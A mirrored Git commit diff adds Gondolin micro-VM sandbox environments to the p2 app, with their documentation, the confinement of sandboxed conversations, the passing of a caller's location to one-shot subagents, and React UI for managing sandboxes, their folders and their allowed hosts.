mirror of
https://github.com/badlogic/pi-mono.git
synced 2026-11-05 23:37:25 +00:00
feat(p2): Gondolin sandbox environments
A sandbox is a new env type (`type: "gondolin"`): a long-lived Gondolin micro-VM on an SSH environment, with listed host folders and an HTTP(S) host allowlist. The worker reaches it over SSH to the host, where p2's launcher (plugins/envs/sandbox: native, or Docker when the host's Node/QEMU are too old) runs pi-env's daemon inside the VM, so tools, workspace, terminals, uploads and MCP work unchanged. Names outside the allowlist are refused before the host resolves them. Conversations working in a sandbox cannot leave it: location tools, subagent spawn/configure, AgentLocations.move, the terminal tool, and one-shot agents (which now inherit their caller's own location) all keep them there; only the owner's Relocate moves a session out, after a confirmation. conversationConfinement() exposes it to plugins. Owner-only management in the Envs sheet: sandboxes listed under their host, host test reports sandbox support, create/edit/start/stop/restart/test, lock icons in the top bar and sidebar. Tests in test/p2/sandboxes.test.ts (real VM cases with P2_TEST_GONDOLIN=1) and ui-sandboxes.test.ts; docs in docs/remote-envs.md.
This commit is contained in:
parent
6d3e342b25
commit
2a32a605a9
51 changed files with 3240 additions and 322 deletions
|
|
@ -1,6 +1,6 @@
|
|||
# Remote environments
|
||||
|
||||
`plugins/envs` manages SSH environments. Tools and workspace files live on the remote host; the worker,
|
||||
`plugins/envs` manages SSH environments and sandboxes (Gondolin VMs on an SSH environment, see Sandboxes). Tools and workspace files live on the remote host; the worker,
|
||||
Durable history, provider credentials and model calls stay on this device. Remote sessions never fall back
|
||||
to local execution when configuration, trust or a connection is unavailable.
|
||||
|
||||
|
|
@ -34,6 +34,63 @@ own location still works on that machine. Open chats stay connected. Subagents s
|
|||
where they are, on their machine, and keep running their tools there. Terminals already running stay on the machine
|
||||
they were started on; new ones open where the viewed conversation works.
|
||||
|
||||
## Sandboxes
|
||||
|
||||
A sandbox is a Gondolin VM (earendil-works/gondolin: QEMU with KVM, host-side network policy) on an SSH environment,
|
||||
its host. In the Envs sheet it is listed under its host, and the host's **Save and test** reports whether it can run
|
||||
sandboxes: natively (Linux, `/dev/kvm` usable, Node >= 22, QEMU >= 7.2), through Docker (Linux, `/dev/kvm`, a usable
|
||||
`docker`; e.g. Ubuntu 22.04, whose QEMU 6.2 is too old), or not, with the reason. Only the owner creates, edits,
|
||||
starts, stops and deletes sandboxes, in the Envs sheet; plugins pick an existing one (env listings carry `type`).
|
||||
|
||||
```json
|
||||
"box1": {
|
||||
"type": "gondolin",
|
||||
"host": "slayer",
|
||||
"image": "alpine-base:latest",
|
||||
"mounts": [{ "host": "~/sbx/box1", "guest": "/workspace" }, { "host": "~/datasets", "guest": "/data", "readonly": true }],
|
||||
"allowHosts": ["registry.npmjs.org", "*.github.com"],
|
||||
"cpus": 2,
|
||||
"memoryMb": 2048
|
||||
}
|
||||
```
|
||||
|
||||
- **What the VM sees:** its own root file system (lost when the VM restarts) and the listed host folders; nothing else
|
||||
of the host. In Docker mode folders must be inside the host user's home (only the home is shared with the container).
|
||||
A writable folder must not contain or be inside `~/.pi` (p2's launcher and daemons run from there on the host).
|
||||
`/opt/pi-env` (the daemon) and `/.p2-vfs` (Gondolin's own mount point) are reserved in the VM.
|
||||
- **Network:** HTTP(S) to `allowHosts` only (Gondolin's patterns: `*` alone is any host, `*` inside a pattern any
|
||||
substring); everything else is refused with 403 before the host resolves the name, so names do not leak to DNS. An
|
||||
empty or missing list allows no host. Allowed names that resolve to private addresses are refused too. Other
|
||||
protocols are not routed.
|
||||
- **Lifecycle:** one long-lived VM per sandbox, shared by every session working in it. It starts at the first
|
||||
connection (or **Start**, **Save and start**, **Test**) and runs until **Stop**, deleting the sandbox or moving it to
|
||||
another host (both stop it first), the VM dying (the supervisor notices within seconds; the next connection starts
|
||||
a new one) or a host reboot. Other configuration changes apply at its next start: the sheet says so while the
|
||||
running VM is older, and offers **Save and restart**.
|
||||
- **Connection:** the worker connects to the host over SSH as for the host itself, deploys pi-env's daemon there
|
||||
(the same Linux binary runs in the VM) and p2's launcher (`plugins/envs/sandbox/`, under the host's
|
||||
`~/.pi/p2/sandbox/<content hash>/`, checked by hash at every deployment; versions of other p2 installations stay
|
||||
until unused for 30 days). It runs `p2-sandbox.sh start` (which may take minutes the first time: Docker image,
|
||||
`npm ci` from the shipped lockfile, guest image download, boot) and then `p2-sandbox.sh daemon <key> <config>
|
||||
<daemon> -- serve --token …`. The launcher picks native or Docker (image `p2-sandbox:<Dockerfile hash>` with Node and
|
||||
QEMU only, container `p2-sandbox-<uid>-<Dockerfile hash>` with the home mounted at the same path and `/dev/kvm`
|
||||
passed in), starts the sandbox's supervisor if needed (`p2-sandbox.mjs serve`, one process holding the VM; socket
|
||||
and log under `~/.pi/p2/sandbox/run/<key>/`, `<key>` being the sandbox's name prefixed by a hash of this p2
|
||||
installation's machine and data directory), copies the daemon into the VM and passes its stdin and stdout through.
|
||||
Tools, the workspace, terminals, uploads and `send_file` then work as on any remote environment. Hosts must be
|
||||
Linux. Connections to a sandbox are keyed by its configuration and its host's: editing either opens new ones.
|
||||
- **Confinement:** a conversation whose environment is a sandbox cannot leave it. `location_envs` shows only the
|
||||
sandbox; `location_dirs` and `location_move` take paths inside it; `subagent` spawn/configure place subagents only
|
||||
in it; one-shot agents (`tools.agent`) inherit their caller's location (the `p2.inherited-location` document), so a
|
||||
subagent's sandbox holds for the agents its scripts start. `AgentLocations.move` refuses to move a sandboxed session
|
||||
out too, and `subagent` configure keeps a subagent working in a sandbox there whoever configures it. Only the
|
||||
owner's Relocate moves a session out (the web UI asks first, also for a move to another sandbox). Confinement is decided per
|
||||
conversation from its current location and the environment's configured `type`, never its name:
|
||||
`conversationConfinement(harness.environments, id, ctx)` (`@p2/app/v1/worker`), backed by
|
||||
`HarnessEnvironmentEntry.sandbox`. The `terminal` tool lists and drives only the session's terminals in the
|
||||
caller's sandbox. Tools that run on the p2 machine or reach unconfined places (MCP, ports, conversations, …) are a
|
||||
session tool policy's job, not the location's.
|
||||
|
||||
## Data and execution
|
||||
|
||||
`<P2_DATA_DIR>/envs.json` is independently observed by the server and workers. Invalid edits keep the last valid
|
||||
|
|
@ -83,7 +140,9 @@ run commands on those hosts. Sharing is not filesystem isolation.
|
|||
## Tests
|
||||
|
||||
From `apps/p2`: `npm run check`; `npm test`; focused:
|
||||
`node --import ./src/source.ts --test test/p2/envs.test.ts`.
|
||||
`node --import ./src/source.ts --test test/p2/envs.test.ts` and `test/p2/sandboxes.test.ts` (configuration,
|
||||
launcher arguments, confinement; with `P2_TEST_GONDOLIN=1` also a real VM through the launcher and a session in a
|
||||
sandbox over a loopback sshd, which need `/dev/kvm`, QEMU >= 7.2 or Docker, sshd and pi-env's packaged Linux daemon).
|
||||
|
||||
The tests use fake providers, temporary data/workspaces and server port 0. A disposable loopback sshd has its own
|
||||
host key, authorized client key and remote HOME. The SSH case skips if sshd or a local pi-env daemon build is absent;
|
||||
|
|
|
|||
|
|
@ -18,7 +18,8 @@ import { formats } from "@earendil-works/pi-schema/formats";
|
|||
import type { JsonValue } from "@p2/app/v1";
|
||||
import { record, SUBAGENT_TASK_ENTRY } from "@p2/app/v1";
|
||||
import { defineP2Tool, isTopLevel, originOf, type P2Tool } from "@p2/app/v1/worker";
|
||||
import { resolveChoice, Subagents } from "../subagents/contract.worker.ts";
|
||||
import { InheritedLocation, resolveChoice, Subagents } from "../subagents/contract.worker.ts";
|
||||
import { ownLocation } from "../subagents/tools.ts";
|
||||
|
||||
export const AGENT_TOOL = "agent";
|
||||
const ATTEMPTS = 3;
|
||||
|
|
@ -85,6 +86,8 @@ export function createAgentExtension(models: Models, access: () => ReadonlyMap<s
|
|||
const listedOn = (await isTopLevel(api, api.conversationId, context))
|
||||
? ROOT_CONVERSATION_ID
|
||||
: api.conversationId;
|
||||
// The agent works where its caller does: a caller with its own location (a subagent's) passes it on.
|
||||
const inherited = await ownLocation(api, api.conversationId, context);
|
||||
const conversationId = await api.commit(async (tx) => {
|
||||
const run = await tx.doc(AgentRun, api.taskId);
|
||||
if (run.conversationId === undefined) {
|
||||
|
|
@ -97,6 +100,10 @@ export function createAgentExtension(models: Models, access: () => ReadonlyMap<s
|
|||
modelTools: { add: choice.loaded },
|
||||
instructions: `You are a one-shot subagent working for a script. Do the requested work. Your final answer is parsed by the script: it must be only a JSON value matching this JSON Schema, without prose or code fences:\n${JSON.stringify(args.schema)}`,
|
||||
});
|
||||
if (inherited) {
|
||||
(await tx.doc(InheritedLocation, child.id)).location = inherited;
|
||||
await configure(tx, child.id, { cwd: inherited.cwd });
|
||||
}
|
||||
run.conversationId = child.id;
|
||||
const registry = await tx.doc(Subagents, listedOn);
|
||||
registry.oneShots ??= {};
|
||||
|
|
|
|||
|
|
@ -36,6 +36,7 @@ import {
|
|||
keepSessions,
|
||||
keptSizes,
|
||||
knownMain,
|
||||
LockIcon,
|
||||
loadKept,
|
||||
locationLabel,
|
||||
MenuIcon,
|
||||
|
|
@ -103,6 +104,7 @@ import {
|
|||
} from "react";
|
||||
import { createPortal } from "react-dom";
|
||||
import { Drafts } from "../drafts/contract.ts";
|
||||
import { Envs } from "../envs/contract.ts";
|
||||
import { DirectoryPicker, directoryPickerLayer } from "../envs/contract.web.tsx";
|
||||
import { Models } from "../models/contract.ts";
|
||||
import type { ResourceSnapshot } from "../models/resources.ts";
|
||||
|
|
@ -552,6 +554,14 @@ function TopBar({
|
|||
const connected = useConnected();
|
||||
const nav = useNavigation();
|
||||
const route = useRoute();
|
||||
// Only the owner reads environments: guests see the location without the sandbox lock.
|
||||
const envs = useReadable(useObject(Envs, owner ? {} : undefined)?.envs);
|
||||
const sandboxed = envs?.find((env) => env.name === session?.env)?.config.type === "gondolin";
|
||||
const lock = sandboxed && (
|
||||
<span className="title-lock">
|
||||
<LockIcon size={11} />
|
||||
</span>
|
||||
);
|
||||
return (
|
||||
<header className="topbar">
|
||||
<button
|
||||
|
|
@ -587,8 +597,16 @@ function TopBar({
|
|||
type="button"
|
||||
className="title-cwd"
|
||||
onClick={() => openLayer(directoryPickerLayer(session.env ?? null, session.cwd))}
|
||||
{...(sandboxed ? { title: `Sandbox ${session.env}: tools run in its VM` } : {})}
|
||||
>
|
||||
{moving ? "Moving…" : locationLabel(session.env, session.cwd)}
|
||||
{moving ? (
|
||||
"Moving…"
|
||||
) : (
|
||||
<>
|
||||
{lock}
|
||||
{locationLabel(session.env, session.cwd)}
|
||||
</>
|
||||
)}
|
||||
</button>
|
||||
) : (
|
||||
<p>{locationLabel(session.env, session.cwd)}</p>
|
||||
|
|
|
|||
|
|
@ -23,8 +23,9 @@ export default defineFacet((host) => {
|
|||
if (input.env?.cwd === undefined) return undefined;
|
||||
const { env } = await locateConversation(harness, input.conversationId, context, input.read);
|
||||
if (!env) return input.env.cwd;
|
||||
const ssh = await environments.value.get("remote")?.host?.(env);
|
||||
return `${input.env.cwd}\nTools run on the remote environment "${env}" (SSH host ${ssh}), not on the machine running p2.`;
|
||||
const where =
|
||||
(await environments.value.get("remote")?.describe?.(env)) ?? `the remote environment "${env}"`;
|
||||
return `${input.env.cwd}\nTools run on ${where}, not on the machine running p2.`;
|
||||
}),
|
||||
],
|
||||
});
|
||||
|
|
|
|||
|
|
@ -130,6 +130,16 @@ export function DirectoryPicker({
|
|||
// biome-ignore lint/correctness/useExhaustiveDependencies: lists again when the folder or environment changes; load is recreated each render.
|
||||
useEffect(() => load(shown), [shown, env, service]);
|
||||
const moves = moving !== undefined && moving.env !== env;
|
||||
const sandboxHost = (name: string | null) => {
|
||||
const config = envs.find((entry) => entry.name === name)?.config;
|
||||
return config?.type === "gondolin" ? config.host : undefined;
|
||||
};
|
||||
const sandbox = sandboxHost(env) !== undefined;
|
||||
// Leaving a sandbox is confirmed: outside every sandbox its tools run unconfined, in another one they get its
|
||||
// folders and network access.
|
||||
const leaves = moves && sandboxHost(moving.env) !== undefined;
|
||||
const [leaving, setLeaving] = useState<string>();
|
||||
const target = listing ? listingKey(env, listing.path) : undefined;
|
||||
|
||||
return (
|
||||
<Sheet title="Working directory" onClose={onClose}>
|
||||
|
|
@ -144,11 +154,26 @@ export function DirectoryPicker({
|
|||
disabled={loading}
|
||||
>
|
||||
<option value="">This device</option>
|
||||
{envs.map((entry) => (
|
||||
{envs.map(
|
||||
(entry) =>
|
||||
entry.config.type === "ssh" && (
|
||||
<option key={entry.name} value={entry.name}>
|
||||
{entry.name} (remote)
|
||||
</option>
|
||||
))}
|
||||
),
|
||||
)}
|
||||
{envs.some((entry) => entry.config.type === "gondolin") && (
|
||||
<optgroup label="Sandboxes">
|
||||
{envs.map(
|
||||
(entry) =>
|
||||
entry.config.type === "gondolin" && (
|
||||
<option key={entry.name} value={entry.name}>
|
||||
{entry.name} · sandbox on {entry.config.host}
|
||||
</option>
|
||||
),
|
||||
)}
|
||||
</optgroup>
|
||||
)}
|
||||
</select>
|
||||
)}
|
||||
<form
|
||||
|
|
@ -168,16 +193,47 @@ export function DirectoryPicker({
|
|||
disabled={loading}
|
||||
/>
|
||||
</form>
|
||||
{listing && (
|
||||
{sandbox && (
|
||||
<p className="muted small directory-note">
|
||||
Tools of this session run in the {env} VM and can't leave it. Only you can move the session out.
|
||||
</p>
|
||||
)}
|
||||
{listing &&
|
||||
(leaves && leaving === target ? (
|
||||
<div className="notice env-test directory-leave" role="alert">
|
||||
<p>
|
||||
<strong>Leave sandbox {moving?.env}?</strong>
|
||||
</p>
|
||||
<p>
|
||||
{sandbox
|
||||
? `Moving to ${locationLabel(env, listing.path)} gives this session's tools sandbox ${env}'s folders and allowed hosts instead.`
|
||||
: `Moving to ${locationLabel(env, listing.path)} lets this session's tools run directly on ${env ?? "this device"}, with its full network access and files.`}
|
||||
</p>
|
||||
<p className="muted small">Files written in the sandbox stay in its folders.</p>
|
||||
<div className="inline-form">
|
||||
<button
|
||||
type="button"
|
||||
className="button danger"
|
||||
disabled={loading}
|
||||
onClick={() => onChange(env, listing.path)}
|
||||
>
|
||||
Move out
|
||||
</button>
|
||||
<button type="button" className="button" onClick={() => setLeaving(undefined)}>
|
||||
Cancel
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
) : (
|
||||
<button
|
||||
type="button"
|
||||
className="button primary block directory-use"
|
||||
disabled={loading}
|
||||
onClick={() => onChange(env, listing.path)}
|
||||
onClick={() => (leaves ? setLeaving(target) : onChange(env, listing.path))}
|
||||
>
|
||||
{moves ? "Move session to" : "Use"} {locationLabel(env, listing.path)}
|
||||
</button>
|
||||
)}
|
||||
))}
|
||||
{moves && (
|
||||
<p className="muted small directory-note">
|
||||
Tools will run {env === null ? "on this device" : `on ${env}`}. The history stays; files are not
|
||||
|
|
|
|||
|
|
@ -4,6 +4,7 @@ import {
|
|||
ChevronIcon,
|
||||
CopyButton,
|
||||
errorText,
|
||||
LockIcon,
|
||||
PlusIcon,
|
||||
Sheet,
|
||||
SlotList,
|
||||
|
|
@ -12,11 +13,11 @@ import {
|
|||
useOptimisticCall,
|
||||
useReadable,
|
||||
} from "@p2/app/v1/web";
|
||||
import { useEffect, useRef, useState } from "react";
|
||||
import { type EnvSummary, Envs, type EnvTest } from "./contract.ts";
|
||||
import { ENV_NAME, type EnvConfig } from "./schema.ts";
|
||||
import { type KeyboardEvent, useEffect, useRef, useState } from "react";
|
||||
import { type EnvSummary, Envs, type EnvTest, type SandboxStatus } from "./contract.ts";
|
||||
import { ENV_NAME, type EnvConfig, type GondolinEnvConfig, type SandboxMount, type SshEnvConfig } from "./schema.ts";
|
||||
|
||||
type Draft = {
|
||||
type SshDraft = {
|
||||
name: string;
|
||||
host: string;
|
||||
user: string;
|
||||
|
|
@ -26,7 +27,7 @@ type Draft = {
|
|||
loginShell: boolean;
|
||||
shellEnv: string;
|
||||
};
|
||||
const EMPTY: Draft = {
|
||||
const EMPTY: SshDraft = {
|
||||
name: "",
|
||||
host: "",
|
||||
user: "",
|
||||
|
|
@ -36,21 +37,21 @@ const EMPTY: Draft = {
|
|||
loginShell: false,
|
||||
shellEnv: "",
|
||||
};
|
||||
function draftOf(env: EnvSummary): Draft {
|
||||
function sshDraftOf(name: string, config: SshEnvConfig): SshDraft {
|
||||
return {
|
||||
name: env.name,
|
||||
host: env.config.host,
|
||||
user: env.config.user ?? "",
|
||||
port: env.config.port === undefined ? "" : String(env.config.port),
|
||||
identityFile: env.config.identityFile ?? "",
|
||||
shellPath: env.config.shellPath ?? "",
|
||||
loginShell: env.config.loginShell ?? false,
|
||||
shellEnv: Object.entries(env.config.shellEnv ?? {})
|
||||
name,
|
||||
host: config.host,
|
||||
user: config.user ?? "",
|
||||
port: config.port === undefined ? "" : String(config.port),
|
||||
identityFile: config.identityFile ?? "",
|
||||
shellPath: config.shellPath ?? "",
|
||||
loginShell: config.loginShell ?? false,
|
||||
shellEnv: Object.entries(config.shellEnv ?? {})
|
||||
.map(([key, value]) => `${key}=${value}`)
|
||||
.join("\n"),
|
||||
};
|
||||
}
|
||||
function configOf(draft: Draft): EnvConfig {
|
||||
function sshConfigOf(draft: SshDraft): EnvConfig {
|
||||
const shellEnv: Record<string, string> = {};
|
||||
for (const line of draft.shellEnv.split("\n")) {
|
||||
if (!line.trim()) continue;
|
||||
|
|
@ -84,6 +85,75 @@ function applyEnv(envs: EnvSummary[] | undefined, guess: EnvGuess): EnvSummary[]
|
|||
? envs.map((env) => (env === saved ? { ...env, config: guess.config } : env))
|
||||
: [...envs, { name: guess.name, config: guess.config, sessions: 0 }];
|
||||
}
|
||||
|
||||
type SandboxDraft = {
|
||||
name: string;
|
||||
host: string;
|
||||
image: string;
|
||||
mounts: SandboxMount[];
|
||||
allowHosts: string;
|
||||
cpus: string;
|
||||
memoryMb: string;
|
||||
};
|
||||
function sandboxDraftOf(name: string, config: GondolinEnvConfig): SandboxDraft {
|
||||
return {
|
||||
name,
|
||||
host: config.host,
|
||||
image: config.image ?? "",
|
||||
mounts: config.mounts ?? [],
|
||||
allowHosts: (config.allowHosts ?? []).join("\n"),
|
||||
cpus: config.cpus === undefined ? "" : String(config.cpus),
|
||||
memoryMb: config.memoryMb === undefined ? "" : String(config.memoryMb),
|
||||
};
|
||||
}
|
||||
function sandboxConfigOf(draft: SandboxDraft): EnvConfig {
|
||||
const number = (value: string, label: string) => {
|
||||
if (!/^\d+$/.test(value.trim())) throw new Error(`${label} must be a number`);
|
||||
return Number(value.trim());
|
||||
};
|
||||
const allowHosts = draft.allowHosts
|
||||
.split("\n")
|
||||
.map((line) => line.trim())
|
||||
.filter(Boolean);
|
||||
return {
|
||||
type: "gondolin",
|
||||
host: draft.host,
|
||||
...(draft.image.trim() ? { image: draft.image.trim() } : {}),
|
||||
...(draft.mounts.length ? { mounts: draft.mounts } : {}),
|
||||
...(allowHosts.length ? { allowHosts } : {}),
|
||||
...(draft.cpus.trim() ? { cpus: number(draft.cpus, "CPUs") } : {}),
|
||||
...(draft.memoryMb.trim() ? { memoryMb: number(draft.memoryMb, "Memory") } : {}),
|
||||
};
|
||||
}
|
||||
|
||||
/** The edited screen: an SSH environment or a sandbox, new or saved. */
|
||||
type Editing =
|
||||
| { kind: "ssh"; draft: SshDraft; existing: boolean }
|
||||
| { kind: "gondolin"; draft: SandboxDraft; existing: boolean };
|
||||
function editingOf(env: EnvSummary): Editing {
|
||||
return env.config.type === "ssh"
|
||||
? { kind: "ssh", draft: sshDraftOf(env.name, env.config), existing: true }
|
||||
: { kind: "gondolin", draft: sandboxDraftOf(env.name, env.config), existing: true };
|
||||
}
|
||||
/** Locator prefix of a new sandbox's screen, followed by its preset host (env names cannot start with `+`). */
|
||||
const NEW_SANDBOX = "+sandbox:";
|
||||
|
||||
/** A sandbox's VM as last read; `unknown` when reading it failed. */
|
||||
type VmState = SandboxStatus | { state: "unknown"; error: string };
|
||||
|
||||
const plural = (count: number, word: string) => `${count} ${word}${count === 1 ? "" : "s"}`;
|
||||
function uptime(startedAt: number): string {
|
||||
const minutes = Math.floor((Date.now() - startedAt) / 60_000);
|
||||
if (minutes < 1) return "less than a minute";
|
||||
if (minutes < 60) return `${minutes} min`;
|
||||
if (minutes < 48 * 60) return `${Math.floor(minutes / 60)} h`;
|
||||
return `${Math.floor(minutes / 1440)} d`;
|
||||
}
|
||||
/** Whether an SSH env's last test found a runtime for sandboxes. */
|
||||
function hostsSandboxes(env: EnvSummary): boolean {
|
||||
return env.test?.ok === true && env.test.sandboxes !== undefined && env.test.sandboxes.runtime !== "none";
|
||||
}
|
||||
|
||||
function TestResult({
|
||||
test,
|
||||
busy,
|
||||
|
|
@ -97,6 +167,7 @@ function TestResult({
|
|||
}) {
|
||||
if (test.ok)
|
||||
return (
|
||||
<>
|
||||
<div className="notice env-test">
|
||||
<p>
|
||||
<strong>Connected</strong> · {test.platform} {test.arch} · pi-env {test.version} · {test.latencyMs} ms
|
||||
|
|
@ -111,6 +182,22 @@ function TestResult({
|
|||
</p>
|
||||
))}
|
||||
</div>
|
||||
{test.sandboxes && (
|
||||
<div className="notice env-test">
|
||||
<p>
|
||||
{test.sandboxes.runtime === "none" ? (
|
||||
<strong>Sandboxes: not available</strong>
|
||||
) : (
|
||||
<>
|
||||
<strong>Sandboxes: ready</strong> · Gondolin{" "}
|
||||
{test.sandboxes.runtime === "native" ? "natively" : "in Docker"}
|
||||
</>
|
||||
)}
|
||||
</p>
|
||||
{test.sandboxes.detail && <p className="muted small">{test.sandboxes.detail}</p>}
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
);
|
||||
return (
|
||||
<div className="notice error env-test">
|
||||
|
|
@ -264,117 +351,44 @@ function KeySection({
|
|||
);
|
||||
}
|
||||
|
||||
/** The route's locator is the edited environment; an empty locator creates one. Form edits are not steps. */
|
||||
export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: () => void }) {
|
||||
const service = useObject(Envs, {});
|
||||
const loadError = useReadable(service?.failure);
|
||||
const nav = useNavigation();
|
||||
const [editing, setEditing] = useState<{ draft: Draft; existing: boolean }>();
|
||||
const [test, setTest] = useState<EnvTest>();
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [error, setError] = useState<string>();
|
||||
// Saves and deletions show in the list at once; a refused one rolls back with its error.
|
||||
const [envs, edit] = useOptimisticCall(useReadable(service?.envs), applyEnv, (reason) =>
|
||||
setError(errorText(reason)),
|
||||
);
|
||||
const [confirmDelete, setConfirmDelete] = useState(false);
|
||||
const filled = useRef<string | null | undefined>(null);
|
||||
useEffect(() => {
|
||||
if (filled.current === screen) return;
|
||||
if (screen === undefined) {
|
||||
filled.current = screen;
|
||||
setEditing(undefined);
|
||||
return;
|
||||
}
|
||||
const env = envs?.find((entry) => entry.name === screen);
|
||||
if (screen !== "" && !env) return;
|
||||
filled.current = screen;
|
||||
setEditing(env ? { draft: draftOf(env), existing: true } : { draft: EMPTY, existing: false });
|
||||
setTest(env?.test);
|
||||
setError(undefined);
|
||||
setConfirmDelete(false);
|
||||
}, [screen, envs]);
|
||||
const toScreen = (name: string | undefined, how: "push" | "close" = "push") =>
|
||||
void nav[how]({
|
||||
...nav.route,
|
||||
layers: [
|
||||
...nav.route.layers.slice(0, -1),
|
||||
{ kind: "sheet", name: "envs", ...(name === undefined ? {} : { locator: name }) },
|
||||
],
|
||||
});
|
||||
const run = async (operation: () => Promise<void>) => {
|
||||
setBusy(true);
|
||||
setError(undefined);
|
||||
try {
|
||||
await operation();
|
||||
} catch (reason) {
|
||||
setError(errorText(reason));
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
};
|
||||
const name = editing?.draft.name.trim() ?? "";
|
||||
const update = (patch: Partial<Draft>) =>
|
||||
setEditing((current) => current && { ...current, draft: { ...current.draft, ...patch } });
|
||||
/** Saves the form: the environment is listed (and the form an existing one's) at once; the save's call. */
|
||||
const save = (): Promise<unknown> | undefined => {
|
||||
if (!service || !editing) return undefined;
|
||||
setError(undefined);
|
||||
let config: EnvConfig;
|
||||
try {
|
||||
config = configOf(editing.draft);
|
||||
} catch (reason) {
|
||||
setError(errorText(reason));
|
||||
return undefined;
|
||||
}
|
||||
const saving = service.save({ name, config }, BACKGROUND_CONTEXT);
|
||||
edit({ kind: "save", name, config }, () => saving);
|
||||
setEditing((current) => current && { ...current, existing: true });
|
||||
if (!editing.existing) {
|
||||
filled.current = name;
|
||||
void nav.replace({
|
||||
...nav.route,
|
||||
layers: [...nav.route.layers.slice(0, -1), { kind: "sheet", name: "envs", locator: name }],
|
||||
});
|
||||
}
|
||||
return saving;
|
||||
};
|
||||
/** Saves, then tests: long work, so the form shows "Working…" until the test answers. */
|
||||
const saveAndTest = () =>
|
||||
void run(async () => {
|
||||
const saving = save();
|
||||
if (!saving || !service) return;
|
||||
await saving;
|
||||
setTest(await service.test({ name }, BACKGROUND_CONTEXT));
|
||||
});
|
||||
if (editing) {
|
||||
const { draft, existing } = editing;
|
||||
const sessions = envs?.find((env) => env.name === name)?.sessions ?? 0;
|
||||
const NO_AUTOCORRECT = { autoCapitalize: "off", autoCorrect: "off", spellCheck: false } as const;
|
||||
|
||||
function NameField({
|
||||
value,
|
||||
placeholder,
|
||||
onChange,
|
||||
}: {
|
||||
value: string;
|
||||
placeholder: string;
|
||||
onChange: (value: string) => void;
|
||||
}) {
|
||||
return (
|
||||
<Sheet title={existing ? name : "New environment"} onClose={onClose}>
|
||||
<form
|
||||
className="stack env-form"
|
||||
onSubmit={(event) => {
|
||||
event.preventDefault();
|
||||
// A refused save shows through its rollback.
|
||||
void save()?.catch(() => {});
|
||||
}}
|
||||
>
|
||||
{!existing && (
|
||||
<label className="field">
|
||||
<span className="label">Name</span>
|
||||
<input
|
||||
className="input mono"
|
||||
value={draft.name}
|
||||
onChange={(event) => update({ name: event.target.value })}
|
||||
placeholder="gpu"
|
||||
autoCapitalize="off"
|
||||
autoCorrect="off"
|
||||
spellCheck={false}
|
||||
value={value}
|
||||
onChange={(event) => onChange(event.target.value)}
|
||||
placeholder={placeholder}
|
||||
{...NO_AUTOCORRECT}
|
||||
required
|
||||
/>
|
||||
</label>
|
||||
)}
|
||||
);
|
||||
}
|
||||
|
||||
function SshFields({
|
||||
draft,
|
||||
existing,
|
||||
update,
|
||||
}: {
|
||||
draft: SshDraft;
|
||||
existing: boolean;
|
||||
update: (patch: Partial<SshDraft>) => void;
|
||||
}) {
|
||||
return (
|
||||
<>
|
||||
{!existing && <NameField value={draft.name} placeholder="gpu" onChange={(name) => update({ name })} />}
|
||||
<label className="field">
|
||||
<span className="label">Host (name or ~/.ssh/config alias)</span>
|
||||
<input
|
||||
|
|
@ -382,9 +396,7 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
|
|||
value={draft.host}
|
||||
onChange={(event) => update({ host: event.target.value })}
|
||||
placeholder="gpu-box"
|
||||
autoCapitalize="off"
|
||||
autoCorrect="off"
|
||||
spellCheck={false}
|
||||
{...NO_AUTOCORRECT}
|
||||
required
|
||||
/>
|
||||
</label>
|
||||
|
|
@ -395,9 +407,7 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
|
|||
className="input mono"
|
||||
value={draft.user}
|
||||
onChange={(event) => update({ user: event.target.value })}
|
||||
autoCapitalize="off"
|
||||
autoCorrect="off"
|
||||
spellCheck={false}
|
||||
{...NO_AUTOCORRECT}
|
||||
/>
|
||||
</label>
|
||||
<label className="field env-port">
|
||||
|
|
@ -418,9 +428,7 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
|
|||
value={draft.identityFile}
|
||||
onChange={(event) => update({ identityFile: event.target.value })}
|
||||
placeholder="~/.ssh/id_ed25519"
|
||||
autoCapitalize="off"
|
||||
autoCorrect="off"
|
||||
spellCheck={false}
|
||||
{...NO_AUTOCORRECT}
|
||||
/>
|
||||
</label>
|
||||
<label className="field">
|
||||
|
|
@ -429,9 +437,7 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
|
|||
className="input mono"
|
||||
value={draft.shellPath}
|
||||
onChange={(event) => update({ shellPath: event.target.value })}
|
||||
autoCapitalize="off"
|
||||
autoCorrect="off"
|
||||
spellCheck={false}
|
||||
{...NO_AUTOCORRECT}
|
||||
/>
|
||||
</label>
|
||||
<label className="check">
|
||||
|
|
@ -449,26 +455,519 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
|
|||
rows={2}
|
||||
value={draft.shellEnv}
|
||||
onChange={(event) => update({ shellEnv: event.target.value })}
|
||||
autoCapitalize="off"
|
||||
autoCorrect="off"
|
||||
spellCheck={false}
|
||||
{...NO_AUTOCORRECT}
|
||||
/>
|
||||
</label>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
/** The host folders a sandbox sees; a new one is entered in place. */
|
||||
function FoldersField({
|
||||
host,
|
||||
mounts,
|
||||
onChange,
|
||||
}: {
|
||||
host: string;
|
||||
mounts: SandboxMount[];
|
||||
onChange: (mounts: SandboxMount[]) => void;
|
||||
}) {
|
||||
const [adding, setAdding] = useState<{ host: string; guest: string; readonly: boolean }>();
|
||||
const ready = adding !== undefined && adding.host.trim() !== "" && adding.guest.trim() !== "";
|
||||
const add = () => {
|
||||
if (!adding || !ready) return;
|
||||
onChange([
|
||||
...mounts,
|
||||
{ host: adding.host.trim(), guest: adding.guest.trim(), ...(adding.readonly ? { readonly: true } : {}) },
|
||||
]);
|
||||
setAdding(undefined);
|
||||
};
|
||||
// Enter adds the folder instead of submitting (saving) the whole form.
|
||||
const onKeyDown = (event: KeyboardEvent) => {
|
||||
if (event.key !== "Enter") return;
|
||||
event.preventDefault();
|
||||
add();
|
||||
};
|
||||
return (
|
||||
<div className="stack sandbox-folders">
|
||||
<span className="label">Folders from {host || "the host"}</span>
|
||||
{!mounts.length && !adding && <p className="muted small">None: the VM sees only its own files.</p>}
|
||||
{mounts.map((mount, index) => (
|
||||
